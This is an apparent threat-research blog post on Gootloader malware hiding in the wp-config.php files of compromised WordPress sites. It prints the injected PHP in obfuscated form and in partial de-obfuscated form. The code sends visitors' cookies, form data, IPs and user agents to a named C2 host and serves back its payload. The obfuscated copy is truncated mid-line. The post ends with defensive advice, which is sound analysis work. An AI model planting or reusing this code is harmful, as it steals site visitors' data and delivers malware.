Gootloader's New Hideout Revealed: The Malware Hunt in WordPress' Shadows

By gootloadersites

Published: 2024-06-24 · Archived: 2026-04-05 13:57:41 UTC

Intro

Cybersecurity experts and enthusiasts, brace yourselves! The notorious Gootloader malware is at it again, shifting tactics and burrowing deeper into compromised WordPress sites. Just when we thought we had them pinned down, they've executed a sleight of hand. This blog post uncovers their latest evasion techniques and provides insights into how they've been hiding in plain sight.

The Discovery of the Hidden Gootloader

Gootloader has been a persistent threat, known for its crafty use of WordPress blogs to propagate malicious code. Initially, these compromised sites called out to the `xmlrpc.php` file, which was a dead giveaway for those tracking their nefarious activities. However, around mid-April, a significant change was detected: the URL call shifted to the main blog URL itself.

This change threw many of us off the scent, creating a smokescreen that effectively concealed their tracks. The question lingered: where were they hiding their malicious PHP code now?

The Hidden Lair: wp-config.php

After meticulous investigation and a fair share of digital sleuthing, the answer came to light. The Gootloader masterminds have been embedding their malicious PHP code within the `wp-config.php` file of compromised WordPress installations. This file, crucial for WordPress configuration, often goes unnoticed during routine security checks, making it an ideal hiding spot for cybercriminals.

Here is their obfuscated code:

```
1 <?php if (isset($_COOKIE)) { if (strpos($_SERVER["\x48\124\124\120\x5f\x55\x53\x45\x52\137\101\107\105\116\x54"], "\x43\150\162\x6f\155\145") !== false) { if (preg_match("\57\x21\133\101\x2d\106\x30\55\71\135\x7b\61\x30\x7d\x21\x2f", implode("\x21", array_keys($_COOKIE)) . "\41")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "\x68\164\x74\160\x73\72\x2f\57\x74\145\x6d\160\x6f\162\x61\162\x79\56\x66\141\x69\154\x2f\151\x6e\144\x65\170\x2e\160\x curl_setopt($ch, CURLOPT_POST, TRUE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_SSL_VERIF 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); $d = array("\x69" => serialize($_SERVER["\x52\x45\115\117\124\x45\137\x41\104\x44\x52"]), "\165" => serialize($_SERVER["\110\x54\x54\x50\x5f\x55\123\105\122\137\101\x47\x45\x4e\x54"]), "\x68" => serialize($_SERVER["\x48\x54\x54\x50\x5f\110\117\x53\124"]), "\x63" => serialize($_COOKIE), "\x67" => serialize($_GET), serialize($_POST)); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($d)); $r = curl_exec($ch); curl_close($ch); if (strpos($r, "\x47\111\x46\x38\71") !== false) { header("\x43\x6f\156\x74\145\156\164\55\124\x79\x70\x65\72\40\151\x6d\141\x67\x65\57\x67\x69\x66"); echo $r; die; } } }
```

And here is the code de-obfuscated and beautified:

```
1 < ?php if (isset($_COOKIE))  {
2       if (strpos($_SERVER["HTTP_USER_AGENT"], "Chrome") !=  = false)  {
3           if (preg_match("/![A-F0-9]{10}!/", "!" . implode("!", array_keys($_COOKIE)) . "!"))  {
4               $ch = curl_init();
```

```
5               curl_setopt($ch, CURLOPT_POST, TRUE);
6               curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
7               curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
8               curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
9               $d = array("i" = > serialize($_SERVER["REMOTE_ADDR"]), "u" = >
10  serialize($_SERVER["HTTP_USER_AGENT"]), "h" = > serialize($_SERVER["HTTP_HOST"]), "c" = >
    serialize($_COOKIE), "g" = > serialize($_GET), "p" = > serialize($_POST));
11              curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($d));
12              $r = curl_exec($ch);
13              curl_close($ch);
14              if (strpos($r, "GIF89") !=  = false)  {
15                  header("Content-Type: image/gif");
16                  echo $r;
17                  die;
18              }
19          }
20      }
21  }
22  ? >
23
24
25
26
```

The New C2 Server: temporary.fail/91.215.85.21

But the discovery didn't end there. Further analysis revealed that the embedded code in `wp-config.php` directs to a new Command and Control (C2) server: `temporary.fail` /91.215.85.21. This new server is where the infected sites are now communicating, ensuring the malware's operations continue without interruption.

Implications and Defense Strategies

This shift in Gootloader's tactics underscores the importance of thorough and continuous security monitoring. For those managing WordPress sites, here are some key takeaways to bolster your defenses:

1. **Regularly Audit Key Files:** Ensure that files like `wp-config.php` are regularly audited for unauthorized changes.
2. **Monitor Network Traffic:** Keep an eye on traffic to detect any unusual connections, particularly to unfamiliar C2 servers like `temporary.fail` /91.215.85.21.
3. **Harden WordPress Security:** Employ security plugins that can detect and neutralize malware. Regularly update WordPress, themes and its plugins to patch vulnerabilities.
4. **Backup and Recovery:** Maintain regular backups and have a recovery plan in place to swiftly restore to a clean state, if a compromise is detected.

Conclusion

The relentless pursuit of hiding places by Gootloader is a stark reminder of the evolving nature of cyber threats. By uncovering their new tactic of using `wp-config.php` and directing it to `temporary.fail`/91.215.85.21, we take a step forward in the ongoing battle against malware. Stay vigilant, stay informed, and keep your digital fortresses secure.

Gootloader's dark arts may evolve, but with keen eyes and robust security practices, we can continue to unveil their hidden shadows.
